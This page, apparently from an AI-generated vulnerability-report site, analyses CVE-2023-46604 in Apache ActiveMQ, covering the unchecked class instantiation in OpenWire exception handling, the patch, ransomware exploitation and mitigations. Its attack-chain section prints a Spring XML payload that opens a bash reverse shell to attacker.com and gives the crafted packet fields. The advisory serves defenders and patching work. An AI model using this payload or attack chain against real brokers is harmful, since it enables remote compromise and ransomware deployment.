CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2023-46604

ActiveMQ's OpenWire: When Exception Handling Becomes Remote Code Execution

Alon Barad
Alon Barad
Software Engineer

Feb 26, 2026·6 min read·70 visits

Executive Summary (TL;DR)

Unauthenticated Remote Code Execution (RCE) in Apache ActiveMQ versions < 5.18.3 via the OpenWire protocol (port 61616). Attackers send a crafted packet specifying a Spring framework class instead of an exception, triggering the download and execution of a malicious XML configuration file. Patch immediately.

Apache ActiveMQ, the ubiquitous message broker found in the plumbing of countless enterprise architectures, contains a critical deserialization vulnerability in its OpenWire protocol implementation. By manipulating the serialized class types used during exception handling, an unauthenticated, remote attacker can force the broker (or client) to instantiate arbitrary classes from the classpath. This flaw, assigned a maximum CVSS score of 10.0, has been weaponized by ransomware groups like HelloKitty to achieve full system compromise.

The Hook: Plumbing with a Glass Jaw

ActiveMQ is the unsung hero—or perhaps the silent victim—of enterprise infrastructure. It’s the message broker that ensures your billing service talks to your shipping service. It sits quietly in the background, shuffling data packets via the OpenWire protocol, usually on TCP port 61616. Because it's "infrastructure," it often gets ignored during patch cycles. That is a mistake.

This vulnerability (CVE-2023-46604) is a classic example of why "internal" protocols shouldn't be trusted blindly. The OpenWire protocol allows the exchange of complex objects, including exceptions. When a broker throws a tantrum, it needs to tell the client what went wrong. It does this by marshalling a Throwable object across the wire.

Here is the kicker: The code responsible for reading that exception off the wire didn't actually check if the thing it was building was an exception. It was just a generic object factory waiting for a command. And as any security researcher knows, if you give us an object factory and a classpath full of juicy libraries, we aren't going to build NullPointerExceptions. We're going to build shells.

The Flaw: A Case of Mistaken Identity

The vulnerability lies deep within the BaseDataStreamMarshaller class. This class is responsible for serializing and deserializing data types for the OpenWire protocol. Specifically, the method createThrowable was designed to reconstruct an exception object sent by a peer.

The logic was pitifully simple:

  1. Read a String called className from the wire.
  2. Read a String called message from the wire.
  3. Call Class.forName(className) to find the class.
  4. Find a constructor that accepts a single String.
  5. Instantiate the class with the message.

Do you see the validation step? Neither do I. There wasn't one. The code blindly assumed that the className provided would be a subclass of java.lang.Throwable.

This is a textbook deserialization gadget vector. The application is effectively saying, "Tell me what class to run, and I'll run it with your input string." In a Java environment, where the classpath is often cluttered with frameworks like Spring, this is equivalent to handing the attacker a loaded gun.

The Code: The Smoking Gun

Let's look at the vulnerable code in BaseDataStreamMarshaller. It's almost elegant in its insecurity.

Vulnerable Implementation:

private Throwable createThrowable(String className, String message) {
    try {
        // Step 1: Load whatever class the attacker asks for
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        
        // Step 2: Find a string constructor
        Constructor constructor = clazz.getConstructor(new Class[] {String.class});
        
        // Step 3: BOOM. Execution.
        return (Throwable)constructor.newInstance(new Object[] {message});
    } catch (Throwable e) {
        return e;
    }
}

The fix, introduced in versions like 5.18.3, is a slap on the wrist for the marshaller. The developers added a validation utility OpenWireUtil.validateIsThrowable(clazz).

Patched Implementation:

private Throwable createThrowable(String className, String message) {
    try {
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        
        // The Bouncer: Checks if the class is actually a Throwable
        OpenWireUtil.validateIsThrowable(clazz); 
        
        Constructor constructor = clazz.getConstructor(new Class[] {String.class});
        return (Throwable)constructor.newInstance(new Object[] {message});
    } catch (Throwable e) {
        return e;
    }
}

The validateIsThrowable method essentially runs Throwable.class.isAssignableFrom(clazz). If you try to instantiate a Spring context, the check fails, and the exploit chain dies. It is a simple check, but its absence caused millions of dollars in ransomware damages.

The Exploit: Springing the Trap

So, we can instantiate any class with a String constructor. How do we turn that into RCE? Enter the ClassPathXmlApplicationContext from the Spring Framework, which ships with ActiveMQ.

This class has a constructor that takes a String: the URL of an XML configuration file. When instantiated, it automatically fetches that XML file and parses it to configure the application context. If that XML file defines a bean that executes a command, the game is over.

The Attack Chain:

  1. Setup: Attacker hosts a file named poc.xml on a controlled HTTP server.

  2. Payload: The XML contains a bean definition using ProcessBuilder:

    <beans>
      <bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>bash -i >& /dev/tcp/attacker.com/4444 0>&1</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
  3. Delivery: The attacker connects to port 61616 and sends a crafted OpenWire ExceptionResponse.

    • ClassName: org.springframework.context.support.ClassPathXmlApplicationContext
    • Message: http://attacker.com/poc.xml
  4. Execution: ActiveMQ receives the packet, passes the URL to the Spring class constructor, which fetches the XML, hydrates the bean, and spawns the reverse shell. The best part? This happens before authentication is enforced for the session in many configurations.

The Impact: Ransomware's New Best Friend

This isn't a theoretical "maybe someday" vulnerability. It is actively burning down networks. Because ActiveMQ often runs with high privileges (sometimes root, often a dedicated user with write access to critical directories), the RCE is devastating.

The HelloKitty ransomware group (and subsequently TellYouThePass) immediately weaponized this. They didn't just pop shells; they used msiexec to pull down ransomware binaries and encrypt entire clusters.

Imagine this scenario: You have an internal message broker. You think it's safe because it's behind the firewall. But one developer exposed port 61616 for debugging, or an attacker pivoted from a compromised web server. Within seconds, the broker itself becomes the distribution point for malware, encrypting the very database it was supposed to serve. With a CVSS of 10.0, this is as bad as it gets.

The Fix: Closing the Window

If you are running ActiveMQ, stop reading and check your version. If you are on anything older than 5.15.16, 5.16.7, 5.17.6, or 5.18.3, you are vulnerable.

Immediate Steps:

  1. Patch: Update to the fixed versions immediately. The patch is simple but effective.
  2. Network Segmentation: Why is port 61616 talking to the internet? Block it. Only allow trusted internal IPs to communicate with the message broker.
  3. Validate Configuration: Ensure the ClassPathXmlApplicationContext cannot reach external networks if possible, though this is harder to enforce at the JVM level.

For those who can't patch today: You might be able to mitigate this by stripping the spring-context JARs from the ActiveMQ classpath if you aren't using them, but that is a risky surgery that might break legitimate functionality. Just patch the software.

Official Patches

ApacheOfficial Security Advisory
ApachePull Request containing the fix

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
EPSS Probability
94.44%
Top 0% most exploited

Affected Systems

Apache ActiveMQ ClassicApache ActiveMQ Legacy OpenWire ModuleNetApp E-Series SANtricityRed Hat AMQ

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache ActiveMQ
Apache
< 5.15.165.15.16
Apache ActiveMQ
Apache
5.16.0 - 5.16.65.16.7
Apache ActiveMQ
Apache
5.17.0 - 5.17.55.17.6
Apache ActiveMQ
Apache
5.18.0 - 5.18.25.18.3
AttributeDetail
CWE IDCWE-502
Attack VectorNetwork (OpenWire TCP)
CVSS10.0 (Critical)
EPSS Score94.44%
Exploit StatusActive / Weaponized
KEV ListedYes

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-502
Deserialization of Untrusted Data

Known Exploits & Detection

MetasploitMetasploit module for ActiveMQ OpenWire RCE
GitHubGo-based proof of concept exploit tool

Vulnerability Timeline

Fix commits pushed to ActiveMQ repository
2023-10-23
Apache discloses AMQ-9370
2023-10-25
CVE-2023-46604 Published
2023-10-27
HelloKitty ransomware observed exploiting the flaw
2023-11-01
Added to CISA KEV Catalog
2023-11-02

References & Sources

  • [1]Rapid7 Analysis of Active Exploitation
  • [2]NVD Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-HC4M-Q9JH-XW4J
6.6

GHSA-hc4m-q9jh-xw4j: Registry Pack Verification Fail-Open Vulnerability in nono-cli

The nono-cli package verification mechanism fails open when both the lockfile entry and local trust bundle are absent. This allows local attackers to execute unverified package profiles and native host session hooks by removing metadata configurations, bypassing cryptographic integrity controls.

Alon Barad
Alon Barad
2 views•5 min read
•about 6 hours ago•CVE-2026-5326
5.3

CVE-2026-5326: Insecure Direct Object Reference (IDOR) in SourceCodester Leave Application System

An Insecure Direct Object Reference (IDOR) vulnerability exists in SourceCodester Leave Application System 1.0 within the User Information Handler component. The application processes client-supplied database identifiers via URL parameters without executing proper authorization checks or session validation. This allows remote, unauthenticated attackers to view sensitive administrative and employee records by altering the 'id' parameter.

Amit Schendel
Amit Schendel
6 views•5 min read
•3 days ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
7 views•5 min read
•3 days ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
10 views•7 min read
•3 days ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
8 views•5 min read
•3 days ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
8 views•6 min read